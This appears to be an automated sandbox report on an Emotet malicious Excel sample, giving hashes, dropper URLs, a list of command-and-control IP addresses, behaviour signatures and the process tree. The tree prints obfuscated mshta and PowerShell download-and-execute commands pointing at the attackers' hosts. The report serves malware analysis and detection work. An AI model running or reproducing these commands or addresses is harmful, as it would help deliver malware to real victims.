emotet | ab4456f73cd0d49bd6c2dc5553a33ff128bc765cb07cd47f8e0619d01735f966

Analysis

max time kernel
119s
max time network
155s
platform
windows10_x64
resource
win10-en-20211208
submitted
21/01/2022, 15:05

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General

Target
SV5286234665414694.xls
Size 69KB
Sample220121-sf6vjsabgm
SHA256 ab4456f73cd0d49bd6c2dc5553a33ff128bc765cb07cd47f8e0619d01735f966
MD5 5eac124a77133f3fd6ab6a9ae8d06331
SHA1 c7bde6d20c193fc30813c3641ec12f61b49e0cfc
SHA512 4a567b01b2b89119fb4339e2a87c646208e57aa7292979b398f32b9b3c40fd8fcb9d53ce19d58b6295473232459eb2207e1294ce5350d2306eec25660e17ac9c
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://0xb907d607/fer/fe2.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3184	3052	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
30	3160	mshta.exe
36	2788	powershell.exe
40	2788	powershell.exe
46	3548	rundll32.exe
47	3548	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3076	rundll32.exe
3916	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Obcjsqsfhqjuirtm\golyrwfjqridbe.iet	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3488	3160	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3052	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2788	powershell.exe
3488	WerFault.exe
3488	WerFault.exe
3488	WerFault.exe
3488	WerFault.exe
3488	WerFault.exe
3488	WerFault.exe
3488	WerFault.exe
3488	WerFault.exe
3488	WerFault.exe
3488	WerFault.exe
3488	WerFault.exe
3488	WerFault.exe
3488	WerFault.exe
3488	WerFault.exe
2788	powershell.exe
2788	powershell.exe
3548	rundll32.exe
3548	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	3488	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 3184	3052	EXCEL.EXE	70
PID 3052 wrote to memory of 3184	3052	EXCEL.EXE	70
PID 3184 wrote to memory of 3160	3184	cmd.exe	72
PID 3184 wrote to memory of 3160	3184	cmd.exe	72
PID 3160 wrote to memory of 2788	3160	mshta.exe	75
PID 3160 wrote to memory of 2788	3160	mshta.exe	75
PID 2788 wrote to memory of 3424	2788	powershell.exe	78
PID 2788 wrote to memory of 3424	2788	powershell.exe	78
PID 3424 wrote to memory of 3076	3424	cmd.exe	79
PID 3424 wrote to memory of 3076	3424	cmd.exe	79
PID 3424 wrote to memory of 3076	3424	cmd.exe	79
PID 3076 wrote to memory of 3916	3076	rundll32.exe	80
PID 3076 wrote to memory of 3916	3076	rundll32.exe	80
PID 3076 wrote to memory of 3916	3076	rundll32.exe	80
PID 3916 wrote to memory of 3516	3916	rundll32.exe	81
PID 3916 wrote to memory of 3516	3916	rundll32.exe	81
PID 3916 wrote to memory of 3516	3916	rundll32.exe	81
PID 3516 wrote to memory of 3548	3516	rundll32.exe	82
PID 3516 wrote to memory of 3548	3516	rundll32.exe	82
PID 3516 wrote to memory of 3548	3516	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SV5286234665414694.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3160
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2788
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3424
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3076
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3916
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Obcjsqsfhqjuirtm\golyrwfjqridbe.iet",qsyZAdIgiwVrQSt
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3516
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Obcjsqsfhqjuirtm\golyrwfjqridbe.iet",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3548
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3160 -s 1820
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2788-314-0x000001AB9D930000-0x000001AB9D978000-memory.dmp

Download

memory/2788-544-0x000001AB9D930000-0x000001AB9D978000-memory.dmp

Download

memory/2788-428-0x000001ABB7EF0000-0x000001ABB7F66000-memory.dmp

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memory/2788-380-0x000001ABB7AE0000-0x000001ABB7B1C000-memory.dmp

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memory/2788-291-0x000001AB9F720000-0x000001AB9F742000-memory.dmp

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memory/2788-311-0x000001AB9D930000-0x000001AB9D978000-memory.dmp

Download

memory/3052-131-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

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memory/3052-132-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

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memory/3052-130-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

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memory/3052-121-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

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memory/3052-120-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

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memory/3052-119-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

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memory/3052-668-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

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memory/3052-669-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

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memory/3052-667-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

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memory/3052-666-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

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memory/3052-118-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

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memory/3076-610-0x0000000004BC0000-0x0000000004BE6000-memory.dmp

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memory/3516-624-0x0000000002DE0000-0x0000000002E06000-memory.dmp

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memory/3548-635-0x0000000004940000-0x0000000004966000-memory.dmp

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memory/3548-639-0x0000000004B00000-0x0000000004B26000-memory.dmp

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memory/3548-628-0x0000000000340000-0x0000000000366000-memory.dmp

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memory/3548-630-0x0000000000380000-0x00000000003A6000-memory.dmp

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memory/3548-632-0x00000000003B0000-0x00000000003D6000-memory.dmp

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memory/3548-643-0x0000000004D40000-0x0000000004D66000-memory.dmp

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memory/3548-637-0x0000000004A20000-0x0000000004A46000-memory.dmp

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memory/3548-626-0x0000000000150000-0x0000000000176000-memory.dmp

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memory/3548-641-0x0000000004CE0000-0x0000000004D06000-memory.dmp

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memory/3916-623-0x0000000005290000-0x00000000052B6000-memory.dmp

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memory/3916-621-0x0000000005130000-0x0000000005156000-memory.dmp

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memory/3916-619-0x00000000050D0000-0x00000000050F6000-memory.dmp

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memory/3916-617-0x0000000004F40000-0x0000000004F66000-memory.dmp

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memory/3916-612-0x0000000004840000-0x0000000004866000-memory.dmp

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